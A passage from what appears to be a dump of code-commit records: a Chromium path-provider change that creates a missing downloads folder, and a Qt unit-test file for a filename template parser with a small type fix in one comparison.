\"base\/mac_util.h\"\n#endif\n\nnamespace chrome {\n\nbool GetGearsPluginPathFromCommandLine(FilePath* path) {\n#ifndef NDEBUG\n \/\/ for debugging, support a cmd line based override\n std::wstring plugin_path = CommandLine::ForCurrentProcess()->GetSwitchValue(\n switches::kGearsPluginPathOverride);\n \/\/ TODO(tc): After GetSwitchNativeValue lands, we don't need to use\n \/\/ FromWStringHack.\n *path = FilePath::FromWStringHack(plugin_path);\n return !plugin_path.empty();\n#else\n return false;\n#endif\n}\n\nbool PathProvider(int key, FilePath* result) {\n \/\/ Some keys are just aliases...\n switch (key) {\n case chrome::DIR_APP:\n return PathService::Get(base::DIR_MODULE, result);\n case chrome::DIR_LOGS:\n#ifdef NDEBUG\n \/\/ Release builds write to the data dir\n return PathService::Get(chrome::DIR_USER_DATA, result);\n#else\n \/\/ Debug builds write next to the binary (in the build tree)\n#if defined(OS_MACOSX)\n if (!PathService::Get(base::DIR_EXE, result))\n return false;\n if (mac_util::AmIBundled()) {\n \/\/ If we're called from chrome, dump it beside the app (outside the\n \/\/ app bundle), if we're called from a unittest, we'll already\n \/\/ outside the bundle so use the exe dir.\n \/\/ exe_dir gave us ...\/Chromium.app\/Contents\/MacOS\/Chromium.\n *result = result->DirName();\n *result = result->DirName();\n *result = result->DirName();\n }\n return true;\n#else\n return PathService::Get(base::DIR_EXE, result);\n#endif \/\/ defined(OS_MACOSX)\n#endif \/\/ NDEBUG\n case chrome::FILE_RESOURCE_MODULE:\n return PathService::Get(base::FILE_MODULE, result);\n }\n\n \/\/ Assume that we will not need to create the directory if it does not exist.\n \/\/ This flag can be set to true for the cases where we want to create it.\n bool create_dir = false;\n\n FilePath cur;\n switch (key) {\n case chrome::DIR_USER_DATA:\n if (!GetDefaultUserDataDirectory(&cur))\n return false;\n create_dir = true;\n break;\n case chrome::DIR_USER_CACHE:\n#if defined(OS_LINUX)\n if (!GetUserCacheDirectory(&cur))\n return false;\n create_dir = true;\n#else\n \/\/ No concept of a separate cache directory on non-Linux systems.\n return false;\n#endif\n break;\n case chrome::DIR_USER_DOCUMENTS:\n if (!GetUserDocumentsDirectory(&cur))\n return false;\n create_dir = true;\n break;\n case chrome::DIR_DEFAULT_DOWNLOADS:\n if (!GetUserDownloadsDirectory(&cur))\n return false;\n break;\n case chrome::DIR_CRASH_DUMPS:\n \/\/ The crash reports are always stored relative to the default user data\n \/\/ directory. This avoids the problem of having to re-initialize the\n \/\/ exception handler after parsing command line options, which may\n \/\/ override the location of the app's profile directory.\n if (!GetDefaultUserDataDirectory(&cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"Crash Reports\"));\n create_dir = true;\n break;\n case chrome::DIR_USER_DESKTOP:\n if (!GetUserDesktop(&cur))\n return false;\n break;\n case chrome::DIR_INSPECTOR:\n if (!PathService::Get(chrome::DIR_APP, &cur))\n return false;\n#if defined(OS_MACOSX)\n cur = cur.DirName();\n cur = cur.Append(FILE_PATH_LITERAL(\"Resources\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"inspector\"));\n#else\n cur = cur.Append(FILE_PATH_LITERAL(\"resources\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"inspector\"));\n#endif\n break;\n case chrome::DIR_APP_DICTIONARIES:\n#if defined(OS_LINUX) || defined(OS_MACOSX)\n \/\/ We can't write into the EXE dir on Linux, so keep dictionaries\n \/\/ alongside the safe browsing database in the user data dir.\n \/\/ And we don't want to write into the bundle on the Mac, so push\n \/\/ it to the user data dir there also.\n if (!PathService::Get(chrome::DIR_USER_DATA, &cur))\n return false;\n#else\n if (!PathService::Get(base::DIR_EXE, &cur))\n return false;\n#endif\n cur = cur.Append(FILE_PATH_LITERAL(\"Dictionaries\"));\n create_dir = true;\n break;\n case chrome::FILE_LOCAL_STATE:\n if (!PathService::Get(chrome::DIR_USER_DATA, &cur))\n return false;\n cur = cur.Append(chrome::kLocalStateFilename);\n break;\n case chrome::FILE_RECORDED_SCRIPT:\n if (!PathService::Get(chrome::DIR_USER_DATA, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"script.log\"));\n break;\n case chrome::FILE_GEARS_PLUGIN:\n if (!GetGearsPluginPathFromCommandLine(&cur)) {\n#if defined(OS_WIN)\n \/\/ Search for gears.dll alongside chrome.dll first. This new model\n \/\/ allows us to package gears.dll with the Chrome installer and update\n \/\/ it while Chrome is running.\n if (!PathService::Get(base::DIR_MODULE, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"gears.dll\"));\n\n if (!file_util::PathExists(cur)) {\n if (!PathService::Get(base::DIR_EXE, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"plugins\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"gears\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"gears.dll\"));\n }\n#else\n \/\/ No gears.dll on non-Windows systems.\n return false;\n#endif\n }\n break;\n \/\/ The following are only valid in the development environment, and\n \/\/ will fail if executed from an installed executable (because the\n \/\/ generated path won't exist).\n case chrome::DIR_TEST_DATA:\n if (!PathService::Get(base::DIR_SOURCE_ROOT, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"chrome\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"test\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"data\"));\n if (!file_util::PathExists(cur)) \/\/ we don't want to create this\n return false;\n break;\n case chrome::DIR_TEST_TOOLS:\n if (!PathService::Get(base::DIR_SOURCE_ROOT, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"chrome\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"tools\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"test\"));\n if (!file_util::PathExists(cur)) \/\/ we don't want to create this\n return false;\n break;\n default:\n return false;\n }\n\n if (create_dir && !file_util::PathExists(cur) &&\n !file_util::CreateDirectory(cur))\n return false;\n\n *result = cur;\n return true;\n}\n\n\/\/ This cannot be done as a static initializer sadly since Visual Studio will\n\/\/ eliminate this object file if there is no direct entry point into it.\nvoid RegisterPathProvider() {\n PathService::RegisterProvider(PathProvider, PATH_START, PATH_END);\n}\n\n} \/\/ namespace chrome\n<commit_msg>Create the download folder if it doesn't exist.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/common\/chrome_paths.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"base\/sys_info.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths_internal.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n\n#if defined(OS_MACOSX)\n#include \"base\/mac_util.h\"\n#endif\n\nnamespace chrome {\n\nbool GetGearsPluginPathFromCommandLine(FilePath* path) {\n#ifndef NDEBUG\n \/\/ for debugging, support a cmd line based override\n std::wstring plugin_path = CommandLine::ForCurrentProcess()->GetSwitchValue(\n switches::kGearsPluginPathOverride);\n \/\/ TODO(tc): After GetSwitchNativeValue lands, we don't need to use\n \/\/ FromWStringHack.\n *path = FilePath::FromWStringHack(plugin_path);\n return !plugin_path.empty();\n#else\n return false;\n#endif\n}\n\nbool PathProvider(int key, FilePath* result) {\n \/\/ Some keys are just aliases...\n switch (key) {\n case chrome::DIR_APP:\n return PathService::Get(base::DIR_MODULE, result);\n case chrome::DIR_LOGS:\n#ifdef NDEBUG\n \/\/ Release builds write to the data dir\n return PathService::Get(chrome::DIR_USER_DATA, result);\n#else\n \/\/ Debug builds write next to the binary (in the build tree)\n#if defined(OS_MACOSX)\n if (!PathService::Get(base::DIR_EXE, result))\n return false;\n if (mac_util::AmIBundled()) {\n \/\/ If we're called from chrome, dump it beside the app (outside the\n \/\/ app bundle), if we're called from a unittest, we'll already\n \/\/ outside the bundle so use the exe dir.\n \/\/ exe_dir gave us ...\/Chromium.app\/Contents\/MacOS\/Chromium.\n *result = result->DirName();\n *result = result->DirName();\n *result = result->DirName();\n }\n return true;\n#else\n return PathService::Get(base::DIR_EXE, result);\n#endif \/\/ defined(OS_MACOSX)\n#endif \/\/ NDEBUG\n case chrome::FILE_RESOURCE_MODULE:\n return PathService::Get(base::FILE_MODULE, result);\n }\n\n \/\/ Assume that we will not need to create the directory if it does not exist.\n \/\/ This flag can be set to true for the cases where we want to create it.\n bool create_dir = false;\n\n FilePath cur;\n switch (key) {\n case chrome::DIR_USER_DATA:\n if (!GetDefaultUserDataDirectory(&cur))\n return false;\n create_dir = true;\n break;\n case chrome::DIR_USER_CACHE:\n#if defined(OS_LINUX)\n if (!GetUserCacheDirectory(&cur))\n return false;\n create_dir = true;\n#else\n \/\/ No concept of a separate cache directory on non-Linux systems.\n return false;\n#endif\n break;\n case chrome::DIR_USER_DOCUMENTS:\n if (!GetUserDocumentsDirectory(&cur))\n return false;\n create_dir = true;\n break;\n case chrome::DIR_DEFAULT_DOWNLOADS:\n if (!GetUserDownloadsDirectory(&cur))\n return false;\n create_dir = true;\n break;\n case chrome::DIR_CRASH_DUMPS:\n \/\/ The crash reports are always stored relative to the default user data\n \/\/ directory. This avoids the problem of having to re-initialize the\n \/\/ exception handler after parsing command line options, which may\n \/\/ override the location of the app's profile directory.\n if (!GetDefaultUserDataDirectory(&cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"Crash Reports\"));\n create_dir = true;\n break;\n case chrome::DIR_USER_DESKTOP:\n if (!GetUserDesktop(&cur))\n return false;\n break;\n case chrome::DIR_INSPECTOR:\n if (!PathService::Get(chrome::DIR_APP, &cur))\n return false;\n#if defined(OS_MACOSX)\n cur = cur.DirName();\n cur = cur.Append(FILE_PATH_LITERAL(\"Resources\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"inspector\"));\n#else\n cur = cur.Append(FILE_PATH_LITERAL(\"resources\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"inspector\"));\n#endif\n break;\n case chrome::DIR_APP_DICTIONARIES:\n#if defined(OS_LINUX) || defined(OS_MACOSX)\n \/\/ We can't write into the EXE dir on Linux, so keep dictionaries\n \/\/ alongside the safe browsing database in the user data dir.\n \/\/ And we don't want to write into the bundle on the Mac, so push\n \/\/ it to the user data dir there also.\n if (!PathService::Get(chrome::DIR_USER_DATA, &cur))\n return false;\n#else\n if (!PathService::Get(base::DIR_EXE, &cur))\n return false;\n#endif\n cur = cur.Append(FILE_PATH_LITERAL(\"Dictionaries\"));\n create_dir = true;\n break;\n case chrome::FILE_LOCAL_STATE:\n if (!PathService::Get(chrome::DIR_USER_DATA, &cur))\n return false;\n cur = cur.Append(chrome::kLocalStateFilename);\n break;\n case chrome::FILE_RECORDED_SCRIPT:\n if (!PathService::Get(chrome::DIR_USER_DATA, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"script.log\"));\n break;\n case chrome::FILE_GEARS_PLUGIN:\n if (!GetGearsPluginPathFromCommandLine(&cur)) {\n#if defined(OS_WIN)\n \/\/ Search for gears.dll alongside chrome.dll first. This new model\n \/\/ allows us to package gears.dll with the Chrome installer and update\n \/\/ it while Chrome is running.\n if (!PathService::Get(base::DIR_MODULE, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"gears.dll\"));\n\n if (!file_util::PathExists(cur)) {\n if (!PathService::Get(base::DIR_EXE, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"plugins\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"gears\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"gears.dll\"));\n }\n#else\n \/\/ No gears.dll on non-Windows systems.\n return false;\n#endif\n }\n break;\n \/\/ The following are only valid in the development environment, and\n \/\/ will fail if executed from an installed executable (because the\n \/\/ generated path won't exist).\n case chrome::DIR_TEST_DATA:\n if (!PathService::Get(base::DIR_SOURCE_ROOT, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"chrome\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"test\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"data\"));\n if (!file_util::PathExists(cur)) \/\/ we don't want to create this\n return false;\n break;\n case chrome::DIR_TEST_TOOLS:\n if (!PathService::Get(base::DIR_SOURCE_ROOT, &cur))\n return false;\n cur = cur.Append(FILE_PATH_LITERAL(\"chrome\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"tools\"));\n cur = cur.Append(FILE_PATH_LITERAL(\"test\"));\n if (!file_util::PathExists(cur)) \/\/ we don't want to create this\n return false;\n break;\n default:\n return false;\n }\n\n if (create_dir && !file_util::PathExists(cur) &&\n !file_util::CreateDirectory(cur))\n return false;\n\n *result = cur;\n return true;\n}\n\n\/\/ This cannot be done as a static initializer sadly since Visual Studio will\n\/\/ eliminate this object file if there is no direct entry point into it.\nvoid RegisterPathProvider() {\n PathService::RegisterProvider(PathProvider, PATH_START, PATH_END);\n}\n\n} \/\/ namespace chrome\n<|endoftext|>"} {"text":"<commit_before>#include \"filename-parser-test.h\"\n#include <QMap>\n#include <QString>\n#include <QtTest>\n#include \"filename\/filename-parser.h\"\n#include \"filename\/ast\/filename-node-conditional.h\"\n#include \"filename\/ast\/filename-node-condition-invert.h\"\n#include \"filename\/ast\/filename-node-condition-op.h\"\n#include \"filename\/ast\/filename-node-condition-tag.h\"\n#include \"filename\/ast\/filename-node-condition-token.h\"\n#include \"filename\/ast\/filename-node-root.h\"\n#include \"filename\/ast\/filename-node-text.h\"\n#include \"filename\/ast\/filename-node-variable.h\"\n\n\nvoid FilenameParserTest::testParseText()\n{\n\tFilenameParser parser(\"image.png\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 1);\n\n\tauto txt = dynamic_cast<FilenameNodeText*>(filename->exprs[0]);\n\tQVERIFY(txt != nullptr);\n\tQCOMPARE(txt->text, QString(\"image.png\"));\n}\n\nvoid FilenameParserTest::testParseVariable()\n{\n\tFilenameParser parser(\"%md5%\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 1);\n\n\tauto var = dynamic_cast<FilenameNodeVariable*>(filename->exprs[0]);\n\tQVERIFY(var != nullptr);\n\tQCOMPARE(var->name, QString(\"md5\"));\n\tQCOMPARE(var->opts.count(), 0);\n}\n\nvoid FilenameParserTest::testParseVariableWithOptions()\n{\n\tFilenameParser parser(\"%md5:flag,opt=val%\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 1);\n\n\tauto var = dynamic_cast<FilenameNodeVariable*>(filename->exprs[0]);\n\tQVERIFY(var != nullptr);\n\tQCOMPARE(var->name, QString(\"md5\"));\n\tQCOMPARE(var->opts.count(), 2);\n\tQCOMPARE(var->opts.keys(), QStringList() << \"flag\" << \"opt\");\n\tQCOMPARE(var->opts[\"flag\"], QString());\n\tQCOMPARE(var->opts[\"opt\"], QString(\"val\"));\n}\n\nvoid FilenameParserTest::testParseMixed()\n{\n\tFilenameParser parser(\"out\/%md5%.%ext%\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 4);\n}\n\n\nvoid FilenameParserTest::testParseConditional()\n{\n\tFilenameParser parser(\"out\/<\\\"tag\\\"?some tag is present:%artist%>\/image.png\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 3);\n\n\tauto txt1 = dynamic_cast<FilenameNodeText*>(filename->exprs[0]);\n\tQVERIFY(txt1 != nullptr);\n\tQCOMPARE(txt1->text, QString(\"out\/\"));\n\n\tauto conditional = dynamic_cast<FilenameNodeConditional*>(filename->exprs[1]);\n\tQVERIFY(conditional != nullptr);\n\tQVERIFY(conditional->ifTrue != nullptr);\n\tQVERIFY(conditional->ifFalse != nullptr);\n\n\tauto cond = dynamic_cast<FilenameNodeConditionTag*>(conditional->condition);\n\tQVERIFY(cond != nullptr);\n\tQCOMPARE(cond->tag.text(), QString(\"tag\"));\n\n\tauto ifTrue = dynamic_cast<FilenameNodeText*>(conditional->ifTrue);\n\tQVERIFY(ifTrue != nullptr);\n\tQCOMPARE(ifTrue->text, QString(\"some tag is present\"));\n\n\tauto ifFalse = dynamic_cast<FilenameNodeVariable*>(conditional->ifFalse);\n\tQVERIFY(ifFalse != nullptr);\n\tQCOMPARE(ifFalse->name, QString(\"artist\"));\n\n\tauto txt2 = dynamic_cast<FilenameNodeText*>(filename->exprs[2]);\n\tQVERIFY(txt2 != nullptr);\n\tQCOMPARE(txt2->text, QString(\"\/image.png\"));\n}\n\nvoid FilenameParserTest::testParseConditionalLegacy()\n{\n\tFilenameParser parser(\"out\/<some \\\"tag\\\" is present\/>image.png\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 3);\n\n\tauto txt1 = dynamic_cast<FilenameNodeText*>(filename->exprs[0]);\n\tQVERIFY(txt1 != nullptr);\n\tQCOMPARE(txt1->text, QString(\"out\/\"));\n\n\tauto conditional = dynamic_cast<FilenameNodeConditional*>(filename->exprs[1]);\n\tQVERIFY(conditional != nullptr);\n\tQVERIFY(conditional->ifTrue != nullptr);\n\tQVERIFY(conditional->ifFalse == nullptr);\n\n\tauto cond = dynamic_cast<FilenameNodeConditionTag*>(conditional->condition);\n\tQVERIFY(cond != nullptr);\n\tQCOMPARE(cond->tag.text(), QString(\"tag\"));\n\n\tauto ifTrue = dynamic_cast<FilenameNodeRoot*>(conditional->ifTrue);\n\tQVERIFY(ifTrue != nullptr);\n\tQCOMPARE(ifTrue->exprs.count(), 3);\n\n\tauto ifTrue1 = dynamic_cast<FilenameNodeText*>(ifTrue->exprs[0]);\n\tQVERIFY(ifTrue1 != nullptr);\n\tQCOMPARE(ifTrue1->text, QString(\"some \"));\n\n\tauto ifTrue2 = dynamic_cast<FilenameNodeConditionTag*>(ifTrue->exprs[1]);\n\tQVERIFY(ifTrue2 != nullptr);\n\tQCOMPARE(ifTrue2->tag.text(), QString(\"tag\"));\n\n\tauto ifTrue3 = dynamic_cast<FilenameNodeText*>(ifTrue->exprs[2]);\n\tQVERIFY(ifTrue3 != nullptr);\n\tQCOMPARE(ifTrue3->text, QString(\" is present\/\"));\n\n\tauto txt2 = dynamic_cast<FilenameNodeText*>(filename->exprs[2]);\n\tQVERIFY(txt2 != nullptr);\n\tQCOMPARE(txt2->text, QString(\"image.png\"));\n}\n\n\nvoid FilenameParserTest::testParseConditionTag()\n{\n\tFilenameParser parser(\"\\\"my_tag\\\"\");\n\tauto cond = parser.parseCondition();\n\n\tauto tagCond = dynamic_cast<FilenameNodeConditionTag*>(cond);\n\tQVERIFY(tagCond != nullptr);\n\tQCOMPARE(tagCond->tag.text(), QString(\"my_tag\"));\n}\n\nvoid FilenameParserTest::testParseConditionToken()\n{\n\tFilenameParser parser(\"%my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto tokenCond = dynamic_cast<FilenameNodeConditionToken*>(cond);\n\tQVERIFY(tokenCond != nullptr);\n\tQCOMPARE(tokenCond->token, QString(\"my_token\"));\n}\n\nvoid FilenameParserTest::testParseConditionInvert()\n{\n\tFilenameParser parser(\"!%my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto invertCond = dynamic_cast<FilenameNodeConditionInvert*>(cond);\n\tQVERIFY(invertCond != nullptr);\n\n\tauto tokenCond = dynamic_cast<FilenameNodeConditionToken*>(invertCond->node);\n\tQVERIFY(tokenCond != nullptr);\n\tQCOMPARE(tokenCond->token, QString(\"my_token\"));\n}\n\nvoid FilenameParserTest::testParseConditionOperator()\n{\n\tFilenameParser parser(\"\\\"my_tag\\\" & %my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto opCond = dynamic_cast<FilenameNodeConditionOp*>(cond);\n\tQVERIFY(opCond != nullptr);\n\tQCOMPARE(opCond->op, FilenameNodeConditionOp::Operator::And);\n\n\tauto left = dynamic_cast<FilenameNodeConditionTag*>(opCond->left);\n\tQVERIFY(left != nullptr);\n\tQCOMPARE(left->tag.text(), QString(\"my_tag\"));\n\n\tauto right = dynamic_cast<FilenameNodeConditionToken*>(opCond->right);\n\tQVERIFY(right != nullptr);\n\tQCOMPARE(right->token, QString(\"my_token\"));\n}\n\nvoid FilenameParserTest::testParseConditionMixedOperators()\n{\n\tFilenameParser parser(\"\\\"my_tag\\\" | %some_token% & !%my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto opCond = dynamic_cast<FilenameNodeConditionOp*>(cond);\n\tQVERIFY(opCond != nullptr);\n\tQCOMPARE(opCond->op, FilenameNodeConditionOp::Operator::Or);\n\n\tauto right = dynamic_cast<FilenameNodeConditionOp*>(opCond->right);\n\tQVERIFY(right != nullptr);\n\tQCOMPARE(right->op, FilenameNodeConditionOp::Operator::And);\n\n\tauto invert = dynamic_cast<FilenameNodeConditionInvert*>(right->right);\n\tQVERIFY(invert != nullptr);\n}\n\nvoid FilenameParserTest::testParseConditionTagParenthesis()\n{\n\tFilenameParser parser(\"(\\\"my_tag\\\")\");\n\tauto cond = parser.parseCondition();\n\n\tauto tagCond = dynamic_cast<FilenameNodeConditionTag*>(cond);\n\tQVERIFY(tagCond != nullptr);\n\tQCOMPARE(tagCond->tag.text(), QString(\"my_tag\"));\n}\n\nvoid FilenameParserTest::testParseConditionMixedParenthesis()\n{\n\tFilenameParser parser(\"(\\\"my_tag\\\" | %some_token%) & %my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto opCond = dynamic_cast<FilenameNodeConditionOp*>(cond);\n\tQVERIFY(opCond != nullptr);\n\tQCOMPARE(opCond->op, FilenameNodeConditionOp::Operator::And);\n\n\tauto right = dynamic_cast<FilenameNodeConditionOp*>(opCond->left);\n\tQVERIFY(right != nullptr);\n\tQCOMPARE(right->op, FilenameNodeConditionOp::Operator::Or);\n}\n\n\nQTEST_MAIN(FilenameParserTest)\n<commit_msg>Fix GCC qCompare between QList<QString> and QStringList<commit_after>#include \"filename-parser-test.h\"\n#include <QMap>\n#include <QString>\n#include <QtTest>\n#include \"filename\/filename-parser.h\"\n#include \"filename\/ast\/filename-node-conditional.h\"\n#include \"filename\/ast\/filename-node-condition-invert.h\"\n#include \"filename\/ast\/filename-node-condition-op.h\"\n#include \"filename\/ast\/filename-node-condition-tag.h\"\n#include \"filename\/ast\/filename-node-condition-token.h\"\n#include \"filename\/ast\/filename-node-root.h\"\n#include \"filename\/ast\/filename-node-text.h\"\n#include \"filename\/ast\/filename-node-variable.h\"\n\n\nvoid FilenameParserTest::testParseText()\n{\n\tFilenameParser parser(\"image.png\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 1);\n\n\tauto txt = dynamic_cast<FilenameNodeText*>(filename->exprs[0]);\n\tQVERIFY(txt != nullptr);\n\tQCOMPARE(txt->text, QString(\"image.png\"));\n}\n\nvoid FilenameParserTest::testParseVariable()\n{\n\tFilenameParser parser(\"%md5%\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 1);\n\n\tauto var = dynamic_cast<FilenameNodeVariable*>(filename->exprs[0]);\n\tQVERIFY(var != nullptr);\n\tQCOMPARE(var->name, QString(\"md5\"));\n\tQCOMPARE(var->opts.count(), 0);\n}\n\nvoid FilenameParserTest::testParseVariableWithOptions()\n{\n\tFilenameParser parser(\"%md5:flag,opt=val%\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 1);\n\n\tauto var = dynamic_cast<FilenameNodeVariable*>(filename->exprs[0]);\n\tQVERIFY(var != nullptr);\n\tQCOMPARE(var->name, QString(\"md5\"));\n\tQCOMPARE(var->opts.count(), 2);\n\tQCOMPARE(var->opts.keys(), QList<QString>() << \"flag\" << \"opt\");\n\tQCOMPARE(var->opts[\"flag\"], QString());\n\tQCOMPARE(var->opts[\"opt\"], QString(\"val\"));\n}\n\nvoid FilenameParserTest::testParseMixed()\n{\n\tFilenameParser parser(\"out\/%md5%.%ext%\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 4);\n}\n\n\nvoid FilenameParserTest::testParseConditional()\n{\n\tFilenameParser parser(\"out\/<\\\"tag\\\"?some tag is present:%artist%>\/image.png\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 3);\n\n\tauto txt1 = dynamic_cast<FilenameNodeText*>(filename->exprs[0]);\n\tQVERIFY(txt1 != nullptr);\n\tQCOMPARE(txt1->text, QString(\"out\/\"));\n\n\tauto conditional = dynamic_cast<FilenameNodeConditional*>(filename->exprs[1]);\n\tQVERIFY(conditional != nullptr);\n\tQVERIFY(conditional->ifTrue != nullptr);\n\tQVERIFY(conditional->ifFalse != nullptr);\n\n\tauto cond = dynamic_cast<FilenameNodeConditionTag*>(conditional->condition);\n\tQVERIFY(cond != nullptr);\n\tQCOMPARE(cond->tag.text(), QString(\"tag\"));\n\n\tauto ifTrue = dynamic_cast<FilenameNodeText*>(conditional->ifTrue);\n\tQVERIFY(ifTrue != nullptr);\n\tQCOMPARE(ifTrue->text, QString(\"some tag is present\"));\n\n\tauto ifFalse = dynamic_cast<FilenameNodeVariable*>(conditional->ifFalse);\n\tQVERIFY(ifFalse != nullptr);\n\tQCOMPARE(ifFalse->name, QString(\"artist\"));\n\n\tauto txt2 = dynamic_cast<FilenameNodeText*>(filename->exprs[2]);\n\tQVERIFY(txt2 != nullptr);\n\tQCOMPARE(txt2->text, QString(\"\/image.png\"));\n}\n\nvoid FilenameParserTest::testParseConditionalLegacy()\n{\n\tFilenameParser parser(\"out\/<some \\\"tag\\\" is present\/>image.png\");\n\tauto filename = parser.parseRoot();\n\n\tQCOMPARE(filename->exprs.count(), 3);\n\n\tauto txt1 = dynamic_cast<FilenameNodeText*>(filename->exprs[0]);\n\tQVERIFY(txt1 != nullptr);\n\tQCOMPARE(txt1->text, QString(\"out\/\"));\n\n\tauto conditional = dynamic_cast<FilenameNodeConditional*>(filename->exprs[1]);\n\tQVERIFY(conditional != nullptr);\n\tQVERIFY(conditional->ifTrue != nullptr);\n\tQVERIFY(conditional->ifFalse == nullptr);\n\n\tauto cond = dynamic_cast<FilenameNodeConditionTag*>(conditional->condition);\n\tQVERIFY(cond != nullptr);\n\tQCOMPARE(cond->tag.text(), QString(\"tag\"));\n\n\tauto ifTrue = dynamic_cast<FilenameNodeRoot*>(conditional->ifTrue);\n\tQVERIFY(ifTrue != nullptr);\n\tQCOMPARE(ifTrue->exprs.count(), 3);\n\n\tauto ifTrue1 = dynamic_cast<FilenameNodeText*>(ifTrue->exprs[0]);\n\tQVERIFY(ifTrue1 != nullptr);\n\tQCOMPARE(ifTrue1->text, QString(\"some \"));\n\n\tauto ifTrue2 = dynamic_cast<FilenameNodeConditionTag*>(ifTrue->exprs[1]);\n\tQVERIFY(ifTrue2 != nullptr);\n\tQCOMPARE(ifTrue2->tag.text(), QString(\"tag\"));\n\n\tauto ifTrue3 = dynamic_cast<FilenameNodeText*>(ifTrue->exprs[2]);\n\tQVERIFY(ifTrue3 != nullptr);\n\tQCOMPARE(ifTrue3->text, QString(\" is present\/\"));\n\n\tauto txt2 = dynamic_cast<FilenameNodeText*>(filename->exprs[2]);\n\tQVERIFY(txt2 != nullptr);\n\tQCOMPARE(txt2->text, QString(\"image.png\"));\n}\n\n\nvoid FilenameParserTest::testParseConditionTag()\n{\n\tFilenameParser parser(\"\\\"my_tag\\\"\");\n\tauto cond = parser.parseCondition();\n\n\tauto tagCond = dynamic_cast<FilenameNodeConditionTag*>(cond);\n\tQVERIFY(tagCond != nullptr);\n\tQCOMPARE(tagCond->tag.text(), QString(\"my_tag\"));\n}\n\nvoid FilenameParserTest::testParseConditionToken()\n{\n\tFilenameParser parser(\"%my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto tokenCond = dynamic_cast<FilenameNodeConditionToken*>(cond);\n\tQVERIFY(tokenCond != nullptr);\n\tQCOMPARE(tokenCond->token, QString(\"my_token\"));\n}\n\nvoid FilenameParserTest::testParseConditionInvert()\n{\n\tFilenameParser parser(\"!%my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto invertCond = dynamic_cast<FilenameNodeConditionInvert*>(cond);\n\tQVERIFY(invertCond != nullptr);\n\n\tauto tokenCond = dynamic_cast<FilenameNodeConditionToken*>(invertCond->node);\n\tQVERIFY(tokenCond != nullptr);\n\tQCOMPARE(tokenCond->token, QString(\"my_token\"));\n}\n\nvoid FilenameParserTest::testParseConditionOperator()\n{\n\tFilenameParser parser(\"\\\"my_tag\\\" & %my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto opCond = dynamic_cast<FilenameNodeConditionOp*>(cond);\n\tQVERIFY(opCond != nullptr);\n\tQCOMPARE(opCond->op, FilenameNodeConditionOp::Operator::And);\n\n\tauto left = dynamic_cast<FilenameNodeConditionTag*>(opCond->left);\n\tQVERIFY(left != nullptr);\n\tQCOMPARE(left->tag.text(), QString(\"my_tag\"));\n\n\tauto right = dynamic_cast<FilenameNodeConditionToken*>(opCond->right);\n\tQVERIFY(right != nullptr);\n\tQCOMPARE(right->token, QString(\"my_token\"));\n}\n\nvoid FilenameParserTest::testParseConditionMixedOperators()\n{\n\tFilenameParser parser(\"\\\"my_tag\\\" | %some_token% & !%my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto opCond = dynamic_cast<FilenameNodeConditionOp*>(cond);\n\tQVERIFY(opCond != nullptr);\n\tQCOMPARE(opCond->op, FilenameNodeConditionOp::Operator::Or);\n\n\tauto right = dynamic_cast<FilenameNodeConditionOp*>(opCond->right);\n\tQVERIFY(right != 